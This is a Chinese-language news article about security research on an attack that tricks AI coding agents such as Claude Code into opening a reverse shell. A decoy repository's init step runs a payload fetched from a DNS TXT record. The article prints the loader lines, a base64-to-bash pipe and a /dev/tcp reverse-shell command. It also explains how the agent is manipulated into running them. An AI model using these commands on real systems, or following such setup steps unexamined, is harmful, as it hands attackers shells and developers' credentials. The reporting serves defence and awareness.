导语:你以为看过了代码、确认了仓库干净,AI编程助手就不会有问题?Mozilla安全研究人员的最新攻击演示证明——真正的恶意payload根本不在仓库里,它藏在DNS记录中,等着你的AI助手在”修复错误”的过程中亲手把它激活。
一枚完美伪装的三层积木
这项由Mozilla零日调查网络(0DIN)于2026年6月25日发布的研究,展示了如何让一个看起来完全干净的GitHub仓库,在AI编程助手(如Claude Code)毫无防备的情况下,静默打开一个完全交互的反弹shell。整个攻击链没有一行明显恶意的代码出现在仓库中,却能直接拿到开发者本用户权限的shell。
攻击链由三个看似无害的组件构成,各自单独看都不触发任何警报。
第一层:标准的”云部署工具”仓库
恶意仓库伪装成一个名为”Axiom”的虚构云部署工具,README描述完全正常,安装依赖后运行python3 -m axiom init即可初始化——没有任何可疑内容,人类代码审查和AI审查都看不出问题。
第二层:故意设计成”初始化失败”的Python包
Python包在首次使用时故意拒绝执行,抛出一个友善的RuntimeError,提示用户运行python3 -m axiom init进行初始化。这完全是一个正常的软件模式——所以Claude Code把这个错误当作常规的恢复场景来处理。
第三层:初始化脚本从DNS TXT记录中拉取payload
初始化脚本核心逻辑如下:
cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"
DNS TXT记录中包含一个base64编码的反弹shell payload,解码后得到:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash
即标准的反向shell:bash -i >& /dev/tcp//4443 0>&1。
因为payload在运行时从DNS记录中获取,对静态代码扫描器、人类审查者和AI智能体本身完全不可见。

Claude Code是如何一步步被诱骗的
当开发者让Claude Code拉起这个项目时,AI智能体自主执行了以下流程:
- 读取仓库文件并安装依赖
- 尝试运行应用,触发RuntimeError
- 读取错误信息,运行
python3 -m axiom init作为常规错误恢复 - 初始化脚本向攻击者控制的DNS服务器请求TXT记录,获取payload并执行
- 反弹shell连接到攻击者服务器
开发者终端只看到:
Initialising Axiom platform...
Environment ready
没有任何可疑迹象。Claude Code从来没有”决定”打开一个shell——它决定的是修复一个错误。而这个反向shell距离它实际”审视”过的内容,已经隔了三层间接。
攻击者能拿到什么
一旦反弹shell建立,攻击者立即获得:
- 完整交互式shell,运行在开发者本用户账户下
- 所有环境变量:API密钥、云服务凭据、Git Token、.env文件内容,全部一览无余
- 持久化能力:可以写入SSH公钥、安装定时任务、部署后门
- payload随时更新:DNS TXT记录可以随时修改,无需任何仓库提交,不留任何diff痕迹
- 批量分发:一条包含仓库链接的招聘帖、教程、Slack消息或博客文章,可以感染所有使用AI编程助手打开它的开发者
这种攻击面并非Claude Code独有——任何自主跟随设置流程的AI编程工具,包括Cursor和Gemini CLI,都受此影响。
为什么所有防御层都失效了
攻击利用了一个根本性的架构缺陷:攻击组件分布在三个独立系统中,从不一起被检查。
| 防御层 | 看到的内容 | 失效原因 |
|---|---|---|
| 静态代码分析 | shell脚本中有一个DNS查询 | 仓库中没有任何恶意内容 |
| 人类代码审查 | 完全正常的初始化说明 | payload藏在DNS,不在代码中 |
| 网络监控 | 一次常规DNS域名解析 | 流量中没有明文特征 |
| AI智能体本身 | 一步已授权的初始化操作 | 从不评估DNS记录的实际内容 |
这种”将payload藏在仓库外部、运行时加载”的技术并非首次出现——它曾在CVE-2025-55284(2025年6月修补的一个高危Claude Code漏洞)中出现过,当时通过DNS子域名编码外泄API密钥。
该研究证实,AI智能体系统中的间接提示注入不是理论上的聊天机器人问题,而是一个真实的、可武器化的攻击向量,具有现实世界的供应链分发潜力。
2026年3月,Unit 42记录了野外首批大规模间接提示注入攻击,标志着威胁行为者正在积极将这类漏洞利用操作化。
核心问题:架构性缺陷
问题的本质在于架构:AI编程工具被授权访问攻击者所需的一切——私有环境变量、凭据、API密钥、本地配置文件——同时又在消费来自仓库、文档和错误消息中的不可信内容。
在厂商实现透明的运行时执行链、开发者对陌生代码采用沙箱优先工作流之前,这一攻击面将持续敞开。
出处:Cyber Security News — New Claude Code Attack Allows Attackers to Take Full Control of Developers’ Systems














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